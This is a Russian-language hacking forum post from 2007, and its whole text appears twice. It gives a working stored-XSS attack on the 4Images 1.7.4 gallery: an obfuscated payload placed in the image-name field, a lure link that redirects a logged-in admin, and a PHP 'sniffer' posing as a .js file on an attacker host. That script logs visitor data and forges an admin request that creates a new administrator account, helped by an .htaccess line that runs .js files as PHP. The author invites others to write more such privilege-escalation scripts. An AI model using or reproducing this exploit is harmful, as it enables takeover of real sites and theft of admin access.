SQLHACK
24.06.2007, 17:14
Подготовка.
Заливаем в галерею картинку.
в поле Image Name: вставляем "><IMG SRC="javascript:document.write(String.fromCharCode(60,1 15,99,114,105,112,116,32,115,114,99,61,34,104,116, 116,112,58,47,47,108,111,99,97,108,104,111,115,116 ,47,49,46,106,115,34,62,60,47,115,99,114,105,112,1 16,62));">.
1. Вариант
Админу кидаем ссылку на http://virussite.com/
1. Залогиненый админ заходит на http://virussite.com/
2. Получает от сервера ответ типа
<html>
<body>
<script>location.replace("http://vulnsite.com/4images/search.php?search_new_images=1"></script>)
</script>
</body>
</html>
3. Его переадресует на страницу последних залитых картинок, а там наша XSS.
2.Вариант :)
Админ сам тыкает на надпись New Images.
4. Там подгружается скрипт http://oursite.com/xss.js (реально это сниффер на php который на выходе генерит JS код), который посылает запрос к админке.
код php скрипта, его называем xss.js
ЭТО РЕАЛЬНО РАБОТАЮЩИЙ ПРИМЕР ДЛЯ 4Images 1.7.4(вероятно и версии ниже)
<?php
$date=date("[d/m/Y|H:i]");
$ip=getenv("Remote_addr");
$real_ip=getenv("HTTP_X_FORWARDED_FOR");
$x_refefer=getenv("HTTP_REFERER");
$x_agent=getenv("HTTP_USER_AGENT");
$x_args=implode($argv," ");
$fp=fopen("log.txt","a");
fputs($fp,"Date:*".$date."*\t"."IP:*".$ip."*\t"."REAL IP:*".$real_ip."*\t"."REFERER:*".$x_refefer."*\t"."Agent:*".$x_agent."*\t"."ARGS:*".$x_args."*\n");
fclose($fp);
echo "
var request = false;
try
{
request = new XMLHttpRequest();
}
catch (trymicrosoft)
{
try
{
request = new ActiveXObject(\"Msxml2.XMLHTTP\");
}
catch (othermicrosoft)
{
request = new ActiveXObject(\"Microsoft.XMLHTTP\");
}
}
function SendRequest() {
var url = \"/4images/admin/users.php\";
request.open(\"POST\", url, true);
request.onreadystatechange = updatePage;
var bound_x = \"-----------------------------20959323230465\\nContent-Disposition: form-data; name=\\\"\";
var post = bound_x + \"action\" + \"\\\"\\n\\n\" + \"saveusers\\n\";
post += bound_x + \"num\" + \"\\\"\\n\\n\" + \"1\\n\";
post += bound_x + \"user_level_1\" + \"\\\"\\n\\n\" + \"9\\n\";
post += bound_x + \"user_name_1\" + \"\\\"\\n\\n\" + \"username\\n\";
post += bound_x + \"user_email_1\" + \"\\\"\\n\\n\" + \"email@email.ru\\n\";
post += bound_x + \"user_password_1\" + \"\\\"\\n\\n\" + \"password\\n\";
post += bound_x + \"user_homepage_1\" + \"\\\"\\n\\n\" + \"\\n\";
post += bound_x + \"user_icq_1\" + \"\\\"\\n\\n\" + \"\\n\";
post += bound_x + \"user_showemail_1\" + \"\\\"\\n\\n\" + \"0\\n\";
post += bound_x + \"user_allowemails_1\" + \"\\\"\\n\\n\" + \"0\\n\";
post += bound_x + \"user_invisible_1\" + \"\\\"\\n\\n\" + \"0\\n\";
post += bound_x + \"num_newusers\" + \"\\\"\\n\\n\" + \"1\\n\";
post += bound_x;
request.setRequestHeader(\"Cookie\", document.cookie);
request.setRequestHeader(\"Content-Type\", \"multipart/form-data; boundary=---------------------------20959323230465\");
request.setRequestHeader(\"Content-Length\", post.length);
request.send(post);
}
function updatePage()
{
if (request.readyState == 4)
{
if(request.status == 200)
{
// А вот сюда можно впендюрить удаление нашей картики, и обновление станицы ещё раз.
}
}
}
SendRequest();
";
?>
,и там же бросаем .htaccess c содержимым
AddType application/x-httpd-php .js
5. Запрос создаёт юзера с админскими правами. Соответственно в отчётах сниффера мы видим то что мы поимели админские права.
P.S.Сообственно код сыроват, надо поправить , но у меня не особо хватает вермени, ну хоть 1 кто нить помогите, пож-та.
P.S.S.Если это будет интересно, давайте искать XSS, и писать скрипты повышения привелегий, под разные системы.
P.S.S.S.Когда инфы наберём побольше , можно сотворить генератор js файла, чтоб автоматизировать процесс.
Заливаем в галерею картинку.
в поле Image Name: вставляем "><IMG SRC="javascript:document.write(String.fromCharCode(60,1 15,99,114,105,112,116,32,115,114,99,61,34,104,116, 116,112,58,47,47,108,111,99,97,108,104,111,115,116 ,47,49,46,106,115,34,62,60,47,115,99,114,105,112,1 16,62));">.
1. Вариант
Админу кидаем ссылку на http://virussite.com/
1. Залогиненый админ заходит на http://virussite.com/
2. Получает от сервера ответ типа
<html>
<body>
<script>location.replace("http://vulnsite.com/4images/search.php?search_new_images=1"></script>)
</script>
</body>
</html>
3. Его переадресует на страницу последних залитых картинок, а там наша XSS.
2.Вариант :)
Админ сам тыкает на надпись New Images.
4. Там подгружается скрипт http://oursite.com/xss.js (реально это сниффер на php который на выходе генерит JS код), который посылает запрос к админке.
код php скрипта, его называем xss.js
ЭТО РЕАЛЬНО РАБОТАЮЩИЙ ПРИМЕР ДЛЯ 4Images 1.7.4(вероятно и версии ниже)
<?php
$date=date("[d/m/Y|H:i]");
$ip=getenv("Remote_addr");
$real_ip=getenv("HTTP_X_FORWARDED_FOR");
$x_refefer=getenv("HTTP_REFERER");
$x_agent=getenv("HTTP_USER_AGENT");
$x_args=implode($argv," ");
$fp=fopen("log.txt","a");
fputs($fp,"Date:*".$date."*\t"."IP:*".$ip."*\t"."REAL IP:*".$real_ip."*\t"."REFERER:*".$x_refefer."*\t"."Agent:*".$x_agent."*\t"."ARGS:*".$x_args."*\n");
fclose($fp);
echo "
var request = false;
try
{
request = new XMLHttpRequest();
}
catch (trymicrosoft)
{
try
{
request = new ActiveXObject(\"Msxml2.XMLHTTP\");
}
catch (othermicrosoft)
{
request = new ActiveXObject(\"Microsoft.XMLHTTP\");
}
}
function SendRequest() {
var url = \"/4images/admin/users.php\";
request.open(\"POST\", url, true);
request.onreadystatechange = updatePage;
var bound_x = \"-----------------------------20959323230465\\nContent-Disposition: form-data; name=\\\"\";
var post = bound_x + \"action\" + \"\\\"\\n\\n\" + \"saveusers\\n\";
post += bound_x + \"num\" + \"\\\"\\n\\n\" + \"1\\n\";
post += bound_x + \"user_level_1\" + \"\\\"\\n\\n\" + \"9\\n\";
post += bound_x + \"user_name_1\" + \"\\\"\\n\\n\" + \"username\\n\";
post += bound_x + \"user_email_1\" + \"\\\"\\n\\n\" + \"email@email.ru\\n\";
post += bound_x + \"user_password_1\" + \"\\\"\\n\\n\" + \"password\\n\";
post += bound_x + \"user_homepage_1\" + \"\\\"\\n\\n\" + \"\\n\";
post += bound_x + \"user_icq_1\" + \"\\\"\\n\\n\" + \"\\n\";
post += bound_x + \"user_showemail_1\" + \"\\\"\\n\\n\" + \"0\\n\";
post += bound_x + \"user_allowemails_1\" + \"\\\"\\n\\n\" + \"0\\n\";
post += bound_x + \"user_invisible_1\" + \"\\\"\\n\\n\" + \"0\\n\";
post += bound_x + \"num_newusers\" + \"\\\"\\n\\n\" + \"1\\n\";
post += bound_x;
request.setRequestHeader(\"Cookie\", document.cookie);
request.setRequestHeader(\"Content-Type\", \"multipart/form-data; boundary=---------------------------20959323230465\");
request.setRequestHeader(\"Content-Length\", post.length);
request.send(post);
}
function updatePage()
{
if (request.readyState == 4)
{
if(request.status == 200)
{
// А вот сюда можно впендюрить удаление нашей картики, и обновление станицы ещё раз.
}
}
}
SendRequest();
";
?>
,и там же бросаем .htaccess c содержимым
AddType application/x-httpd-php .js
5. Запрос создаёт юзера с админскими правами. Соответственно в отчётах сниффера мы видим то что мы поимели админские права.
P.S.Сообственно код сыроват, надо поправить , но у меня не особо хватает вермени, ну хоть 1 кто нить помогите, пож-та.
P.S.S.Если это будет интересно, давайте искать XSS, и писать скрипты повышения привелегий, под разные системы.
P.S.S.S.Когда инфы наберём побольше , можно сотворить генератор js файла, чтоб автоматизировать процесс.